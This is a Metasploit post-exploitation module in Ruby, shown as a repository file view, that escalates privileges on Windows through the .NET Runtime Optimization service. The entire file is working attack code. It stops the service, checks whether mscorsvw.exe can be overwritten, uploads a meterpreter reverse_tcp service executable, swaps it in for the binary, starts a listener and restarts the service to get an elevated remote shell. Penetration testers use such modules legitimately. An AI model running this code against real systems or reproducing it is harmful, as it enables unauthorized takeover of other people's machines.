910644400d
All other types of references use String arguments, but approximately half of the EDB references use Fixnums. Fix this by using Strings here too.
186 lines
4.8 KiB
Ruby
186 lines
4.8 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/post/windows/services'
|
|
require 'rex'
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
include Msf::Post::Windows::WindowsServices
|
|
|
|
def initialize(info={})
|
|
super( update_info( info,
|
|
'Name' => 'Windows Escalate Microsoft .NET Runtime Optimization Service Privilege Escalation',
|
|
'Description' => %q{
|
|
This module attempts to exploit the security permissions set on the .NET Runtime
|
|
Optimization service. Vulnerable versions of the .NET Framework include 4.0 and 2.0.
|
|
The permissions on this service allow domain users and local power users to modify
|
|
the mscorsvw.exe binary.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'bannedit' ],
|
|
'Version' => '$Revision$',
|
|
'Platform' => [ 'win' ],
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '71013' ],
|
|
[ 'EDB', '16940' ]
|
|
]
|
|
))
|
|
|
|
register_options([
|
|
OptAddress.new("LHOST", [ false, "Listener IP address for the new session" ]),
|
|
OptPort.new("LPORT", [ false, "Listener port for the new session", 4444 ]),
|
|
])
|
|
|
|
end
|
|
|
|
def run
|
|
paths = []
|
|
services = []
|
|
vuln = ""
|
|
@temp = session.fs.file.expand_path("%TEMP%")
|
|
|
|
if init_railgun() == :error
|
|
return
|
|
end
|
|
|
|
print_status("Checking for vulnerable .NET Framework Optimization service")
|
|
print_status("This may take a few minutes.")
|
|
# enumerate the installed .NET versions
|
|
service_list.each do |service|
|
|
if service =~ /clr_optimization_.*/
|
|
info = service_info(service)
|
|
paths << info['Command']
|
|
services << service
|
|
begin
|
|
service_stop(service) # temporarily stop the service
|
|
print_status("Found #{info['Name']} installed")
|
|
rescue
|
|
print_error("We do not appear to have access to stop #{info['Name']}")
|
|
end
|
|
else
|
|
next
|
|
end
|
|
end
|
|
|
|
paths.each do |image|
|
|
if check_perms(image)
|
|
vuln << image
|
|
break
|
|
end
|
|
end
|
|
|
|
if vuln.nil? or vuln.empty?
|
|
print_error("Could not find any vulnerable .NET Framework Optimization services")
|
|
return
|
|
else
|
|
payload = setup_exploit
|
|
end
|
|
|
|
services.each do |service|
|
|
session.railgun.kernel32.CopyFileA(payload, vuln, false)
|
|
mng = session.railgun.advapi32.OpenSCManagerA(nil,nil,1)
|
|
if mng['return'].nil?
|
|
print_error("Cannot open service manager, not enough privileges")
|
|
return
|
|
end
|
|
# restart the service
|
|
status = service_start(service)
|
|
|
|
if status == 0
|
|
print_status("Restarted #{service}")
|
|
else
|
|
print_error("Failed to restart #{service}")
|
|
end
|
|
return
|
|
end
|
|
end
|
|
|
|
def check_perms(image)
|
|
if image !~ /mscor/
|
|
return
|
|
end
|
|
|
|
if !session.railgun.kernel32.MoveFileA(image, image + '.bak')['return']
|
|
print_error("Found Secure Permissions on #{image}")
|
|
return false
|
|
else
|
|
print_status("Found Weak Permissions on #{image}")
|
|
print_status("Exploiting...")
|
|
return true
|
|
end
|
|
end
|
|
|
|
def init_railgun
|
|
begin
|
|
rg = session.railgun
|
|
if (!rg.get_dll('advapi32'))
|
|
rg.add_dll('advapi32')
|
|
end
|
|
rescue Exception => e
|
|
print_error("Could not initalize railgun")
|
|
print_error("Railgun Error: #{e}")
|
|
return :error
|
|
end
|
|
end
|
|
|
|
def setup_exploit
|
|
lhost = datastore["LHOST"] || Rex::Socket.source_address
|
|
lport = datastore["LPORT"] || 4444
|
|
p_mod = datastore['PAYLOAD'] || "windows/meterpreter/reverse_tcp"
|
|
file = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
|
|
|
payload = session.framework.payloads.create(p_mod)
|
|
payload.datastore['LHOST'] = lhost
|
|
payload.datastore['LPORT'] = lport
|
|
|
|
exe = Msf::Util::EXE.to_win32pe_service(session.framework, payload.generate)
|
|
begin
|
|
print_status("Uploading payload #{file} executable to temp directory")
|
|
# Upload the payload to the filesystem
|
|
file = @temp + "\\" + file
|
|
fd = session.fs.file.new(file, "wb")
|
|
print_status("Writing #{file}...")
|
|
fd.write(exe)
|
|
fd.close
|
|
rescue Exception => e
|
|
print_error("Error uploading file #{file}: #{e.class} #{e}")
|
|
return
|
|
end
|
|
|
|
print_status("Setting up multi/handler...")
|
|
print_status("Using Payload #{p_mod}...")
|
|
handler = session.framework.exploits.create("multi/handler")
|
|
handler.register_parent(self)
|
|
handler.datastore['PAYLOAD'] = p_mod
|
|
handler.datastore['LHOST'] = lhost
|
|
handler.datastore['LPORT'] = lport
|
|
handler.datastore['InitialAutoRunScript'] = "migrate -f"
|
|
handler.datastore['ExitOnSession'] = true
|
|
handler.datastore['ListenerTimeout'] = 300
|
|
handler.datastore['ListenerComm'] = 'local'
|
|
|
|
# handler.exploit_module = self
|
|
handler.exploit_simple(
|
|
'LocalInput' => self.user_input,
|
|
'LocalOutput' => self.user_output,
|
|
'Payload' => handler.datastore['PAYLOAD'],
|
|
'RunAsJob' => true
|
|
)
|
|
|
|
print_status("Upload complete")
|
|
return file
|
|
end
|
|
end
|